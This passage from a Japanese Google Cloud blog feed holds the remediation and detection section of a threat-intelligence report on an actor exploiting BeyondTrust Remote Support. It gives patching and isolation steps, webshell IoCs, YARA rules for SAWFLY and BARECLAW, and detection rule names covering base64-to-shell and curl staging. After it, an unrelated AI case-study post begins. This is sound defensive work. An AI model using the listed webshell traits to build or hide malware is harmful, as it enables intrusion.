&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;セルフホスト型、バージョン 24.3.1 以降&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; インターフェースから BT26-05-RS パッチを適用するか、アプライアンスが自動更新に登録されている場合は、パッチが自動的に適用されたことを確認します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;セルフホスト型、24.3.1 より前のバージョン&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: サポート対象のバージョンにアップグレードしてから、パッチを適用します。アップグレードすると脆弱性は解消されますが、それ以前に受けた影響は修復されません。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; にパッチが表示されない場合は、BT26-05 を指定して BeyondTrust サポートにケースを登録してください。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;オプション 2: 侵害された、または侵害が疑われるアプライアンスを隔離する&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;対応前に保存する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 変更や再起動を行う前に、メモリを含む仮想アプライアンスのスナップショットを作成し、ディスクをエクスポートします。B シリーズのハードウェアと SaaS テナントの場合は、BeyondTrust サポートを通じてフォレンジック保存をリクエストしてください。ホストにアクセスできる攻撃者はアプライアンス上のログを削除できるため、脆弱性がインターネットに露出していた期間中の syslog、リバース プロキシまたは WAF、境界ファイアウォールのログを収集します。Mandiant は、アクターがインシデント期間中のログを削除していたことを確認しています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;境界で隔離する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: アプライアンスのパブリック アドレスへのインバウンド トラフィックは、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ではなくファイアウォールでブロックします。これにより、構成はそのまま残り、後で確認できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;外向きトラフィックを制限する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: BeyondTrust のアップデートとライセンスのエンドポイントへのトラフィックを除き、アウトバウンド トラフィックを拒否し、拒否されたすべての接続をログに記録します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;アクセスパスを終了する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; から、アクティブなサポート セッションを終了し、新しいセッション、Jump Client、Jumpoint、API アカウントを無効にします。削除ではなく無効化することで、監査証跡が残ります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;クリーンアップではなく再構築する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 侵害が確認された、または侵害ステータスが不明なアプライアンスを、完全にパッチが適用されたクリーンなイメージから再デプロイします。お客様はアプライアンスのホスト ファイル システムを監査できません。また、ホストレベルの永続性は再起動や構成のリセット後も維持されます。露出期間より前の日付の構成バックアップのみを復元するか、隔離された状態で最新のバックアップを復元し、オプション 3、パート B の確認を完了してから、再接続します。新しい TLS 証明書を発行し、再構築したアプライアンスから Jump Client、Jumpoint、担当者向けコンソールを再デプロイします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;注&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 隔離やセッションの終了を行うと、サポート対応が中断されます。組織は、続行する前にヘルプデスクやベンダー サポートの関係者と調整を行う必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;オプション 3: ターゲットを絞った補完的な制御を適用する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;以下の制御により、露出を減らし、侵害後の影響を制限できます。これらはパッチの代わりにはなりません。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;パート A: ネットワークの制限&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;アプライアンス レベルで、IP またはネットワーク セグメントによって管理インターフェース &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; と &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; へのアクセスを制限します。インターネットからアクセスできるのは、担当者向けコンソール、カスタマー ポータル、Jump Client のトラフィックのみにする必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;運用上可能な場合は、アプライアンスの前に完全な URI ロギングを備えたリバース プロキシまたは WAF を配置して、アプライアンスが変更できないリクエストパスの記録をとります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;パート B: 認証情報のローテーションと構成の確認&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;セッションと登録を取り消す&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: すべてのアクティブなサポート セッションを終了し、パッチ適用済みまたは再構築済みのアプライアンスから Jump Client、Jumpoint、担当者向けコンソールを再デプロイして、既存のトークンを無効にします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;依存関係の順に認証情報をローテーションする&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; 管理者の認証情報、/login 管理者とローカル ユーザー、API クライアント シークレット、セキュリティ プロバイダのバインド アカウントと SAML 署名鍵、Remote Support Vault と統合された Password Safe または Privileged Remote Access（PRA）認証情報（ターゲット システムでローテーション）、統合認証情報（SMTP、syslog、情報技術サービス管理（ITSM）コネクタ、アウトバウンド イベントのシークレット）、期間中にサポート セッションに入力された認証情報。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;/login 構成を対象期間前のベースラインに照らして確認する&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: ユーザーとロールの変更、特に管理者権限に昇格された Jump Item ロール、グループとセッションのポリシー、API アカウント、セキュリティ プロバイダ、Jump Item と Jumpoint、アウトバウンド イベントまたは syslog の宛先。変更記録や所有者名のないものはすべて削除します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;サポート セッションのレポートを確認する:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; ファイル転送を含む期間中のレポートを確認し、どのエンドポイントにアクセスされ、何が残されたかを特定します。アクセスされたすべてのエンドポイントが、ダウンストリーム ハンティングの対象となります。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;注&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 認証情報のローテーションは、アプライアンスのパッチ適用か再構築の後で行ってください。それより前にローテーションを行うと、新しい認証情報が、アプライアンスをまだ制御している攻撃者に開示されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;パート C: コントロール プレーンの制限&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;すべての &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ユーザーに、フィッシング耐性のある MFA を使用した SAML シングル サインオンを必須とします。また、ローカル アカウントは、Vault に保存され、使用時にアラートが発生する、ブレークグラス アカウント 1 つを除いて削除します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;組み込みの管理者アカウントについては、公式の&lt;/span&gt;&lt;a href="https://docs.beyondtrust.com/rs/docs/two-factor-authentication#activate-two-factor-authentication" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BeyondTrust 2 要素認証ガイドライン&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に沿って多要素認証（MFA）が構成されていることを確認します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;すべてのグループ ポリシーで、Jump Item のデフォルトのロールを「No Access」（アクセスなし）に設定し、ユーザーごとではなくポリシーを通じてロールを付与します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;API アカウントのスコープを最小限の権限セットに設定し、ユーザーまたは Jump Item の管理権限を持つアカウントには自動化の所有者を指名します。また、API シークレットはスケジュールに沿ってローテーションします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;特権認証情報は、Remote Support Vault ではなく、認証情報インジェクションを使用する Password Safe または外部 Vault に保管します。アプライアンスには、非対話型サービス アカウントの認証情報のみを保存します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;アプライアンスからのアウトバウンド トラフィックにデフォルト拒否のフィルタリングを適用し、BeyondTrust のエンドポイントおよび組織独自の syslog サーバーとディレクトリ サーバーのみを許可します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;パート D: ロギングと検出エンジニアリング&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ロギングと可視性&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;アプライアンスの syslog を TLS 経由で SIEM に転送し、数か月にわたる露出期間をカバーする保持期間を設定します。また、アプライアンスのアドレスのリバース プロキシまたは WAF と境界ファイアウォールのログを収集します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; セッション、チーム アクティビティ、ユーザー監査レポートをスケジュールに沿ってエクスポートします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;検出エンジニアリング&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;アカウントとポリシーの変更&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Jump Item またはチームロールを昇格させる &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;user_changed&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; イベント、変更チケットのない &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;user_added&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; イベント、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;api_account&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; イベント、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;security_provider&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; イベント、アウトバウンド イベントまたは syslog 宛先の変更。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;認証&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 家庭向けブロードバンドまたは商用 VPN アドレス空間からの &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/login&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; の成功、営業時間外の管理者ログイン。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;セッション アクティビティ&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: ファイル転送イベント、対象期間中にロールが変更されたアカウントによって開始されたセッション。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;リクエストパス&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: リバース プロキシまたは WAF で、Remote Support の既知のパスセット外のパス（不明な .php パス、サポート スタッフやエンドポイントのアドレス範囲外からの WebSocket アップグレードなど）。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;フォレンジック対策:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; アプライアンスからの syslog 転送におけるギャップ。1 つのセッションに限定された中断は、ログの改ざんを強く示唆します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;セキュリティ侵害インジケーター（IoC）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このブログ投稿で説明した活動の検出と特定に役立てていただくため、登録ユーザー向けの&lt;/span&gt;&lt;a href="https://www.virustotal.com/gui/collection/194e0cb2a231aaf8e6b4bee93437c85b434dda7e327a5f483b79f7ff5bfcaa5e" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GTI コレクション&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;にセキュリティ侵害インジケーター（IoC）を含めました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ファイル インジケーター&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ファイル名&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;説明&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SHA-256&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;app_84304470%2Ephp&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ステージング用のウェブシェル&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;該当なし&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;mangoapi.php&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY ウェブシェル&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ingredi_ws&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BARECLAW トンネラー&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;検出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;YARA ルール&lt;/span&gt;&lt;/p&gt;
&lt;pre class="language-markup"&gt;&lt;code&gt;rule G_Hunting_Webshell_SAWFLY_1 {
  meta:
author = "Google Threat Intelligence Group"    
  strings:
    $b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
    $rc4 = "range(0,255)" ascii wide
    $pack = "pack('H*'," ascii wide
    $eval = "@eval(" ascii wide
    $code404 = "http_response_code(404)" ascii wide
  condition:
    filesize &amp;lt; 20KB and
    all of them
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;rule G_Hunting_Backdoor_BARECLAW_1 {
  meta:
    author = "Google Threat Intelligence Group"

  strings:
    $s1 = "[%s ws_socks5d] " ascii wide
    $s2 = "--obfs requires --token" ascii wide
    $s3 = "mux: %s (frame[%lu]: %s)" ascii wide
    $s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
    $s5 = "reject: bad or missing token from %s" ascii wide
    $s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
    $s7 = "--ws-path must start with '/'" ascii wide
    $b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
  condition:
    uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Google Security Operations（SecOps）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google SecOps をご利用のお客様は、Mandiant Hunting、Mandiant Frontline Threats、Mandiant Intel Emerging Threats の各ルールパックで、これらの幅広いカテゴリのルールやその他のルールをご利用いただけます。このブログ投稿で取り上げた活動は、Google SecOps において以下のルール名で検出されています。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Echo Pipes Base64 To Shell&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Base64 Encoded Shell Command Execution&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Low Severity Endpoint Detection Cluster on Host&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Suspicious Curl Download to tmp&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Suspicious Curl Network Connection to Staging Directory&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;謝辞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この脅威への対応における BeyondTrust のご協力に感謝いたします。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- Google Threat Intelligence Group&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- Mandiant&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Tue, 27 Oct 2026 02:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</guid><category>Threat Intelligence</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>ARMORY CASTLE が BeyondTrust の脆弱性を悪用</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/threat-intelligence/armory-castle-exploits-beyondtrust/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Google Threat Intelligence Group </name><title></title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Mandiant </name><title></title><department></department><company></company></author></item><item><title>最新生成 AI 活用事例 121 社を一挙公開！ AI エージェントの本格活用が広がる（2026 年 10 月更新）</title><link>https://cloud.google.com/blog/ja/products/ai-machine-learning/latest-examples-of-generative-ai-applications-from-121-companies-released/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="onx2y"&gt;2026 年に入り、AI エージェントの活用・開発環境は大きく変わりました。&lt;b&gt;Gemini 4 Argon&lt;/b&gt; や &lt;b&gt;Gemini agent&lt;/b&gt; が発表され、&lt;b&gt;Google Antigravity&lt;/b&gt; をはじめとするエージェント開発の環境も充実してきました。AI によるコーディングが身近になり、業務で AI エージェントを開発・活用する企業が急増しています。&lt;/p&gt;&lt;p data-block-key="13d36"&gt;作る手段が広がるほど、課題は全社で安全に使い、運用する段階へと移ります。それを支えるのが &lt;b&gt;Google Cloud&lt;/b&gt; です。社内データや外部サービスを横断する検索と AI アシスタントに加え、&lt;b&gt;Gemini platform&lt;/b&gt; でエージェントの開発から運用、ガバナンスまでをひとつの基盤で管理できます。&lt;/p&gt;&lt;p data-block-key="4c8i0"&gt;こうした中で、生成 AI は企業の課題解決にどう役立っているのか。Google Cloud では、国内 121 社の最新事例と解決策をまとめた&lt;b&gt;「生成 AI 活用事例集」を 10 月版&lt;/b&gt;に更新し、新たに 11 社の事例を加えました。今回追加した事例には、全従業員約 5,000 名への Gemini 導入や、LLM ゲートウェイによる AI の利用状況とコストの管理など、作ったエージェントを全社で使い、運用する段階の取り組みが並びます。ぜひご覧ください。&lt;/p&gt;&lt;p data-block-key="7l05m"&gt;▶︎&lt;a href="https://cloud.google.com/learn/intl/ja-jp/genai-case-study"&gt;生成 AI 活用事例集（2026 年 10 月版）を無料でダウンロード&lt;/a&gt;&lt;/p&gt;&lt;p data-block-key="aoeg4"&gt;&lt;b&gt;Gemini Notebook&lt;/b&gt; をご活用の方は、&lt;a href="https://goo.gle/customer-notebook-jp" target="_blank"&gt;こちらの専用 Notebook&lt;/a&gt; もぜひ併せてご覧ください。生成 AI やデータ分析の活用事例を、より深くインタラクティブに探索いただけます。&lt;/p&gt;&lt;h3 data-block-key="5aluj"&gt;&lt;b&gt;10 月版で新しく追加された事例&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="8e3fd"&gt;メディアから製造業、情報通信まで、生成 AI を実際の業務に取り入れた 11 社の事例を新たに追加しました。&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="76m55"&gt;&lt;b&gt;株式会社AbemaTV&lt;/b&gt;: 広告代理店からの問い合わせに答える「QA エージェント」と、配信したい内容をもとに最適な広告メニューを選定する「提案エージェント」の 2 つを備えた AI チャットガイドを構築し、Agent Development Kit (ADK) の活用で想定約 3 か月の実装を約 2 か月で実現しました。&lt;/li&gt;&lt;li data-block-key="259k8"&gt;&lt;b&gt;株式会社HRBrain&lt;/b&gt;: Google Cloud を基盤に、セキュリティ チェックシートへの回答を生成する AI エージェントを開発し、AI が回答の根拠・出典・信頼度を自動で示すことで、専門部署の確認工数を 70% 以上削減しました。&lt;/li&gt;&lt;li data-block-key="efjp1"&gt;&lt;b&gt;エイベックス株式会社&lt;/b&gt;: API を持たないレガシー システムをウェブブラウザ越しに操作する AI エージェントを構築し、ピーク時 1 日約 1,200 件の支払申請を AI が全件一次チェックしたうえで、人間による最終確認との二重体制で安全性と業務効率化を両立しました。&lt;/li&gt;&lt;li data-block-key="2mioa"&gt;&lt;b&gt;株式会社NTTデータ&lt;/b&gt;: Apigee と Google Cloud を組み合わせた LLM ゲートウェイを構築し、クォータ制御や流量制限、Model Armor を用いた入出力のリアルタイム検査によって、組織のガバナンスに準拠した AI 活用を可能にしました。※株式会社NTTデータの見解および実績ではなく、社員個人の技術検証に基づく事例です。&lt;/li&gt;&lt;li data-block-key="dipa5"&gt;&lt;b&gt;株式会社NTTドコモ&lt;/b&gt;: 基幹システムの設計書 1.6 万ファイルを対象とした QA エージェントを、非エンジニア社員が Gemini 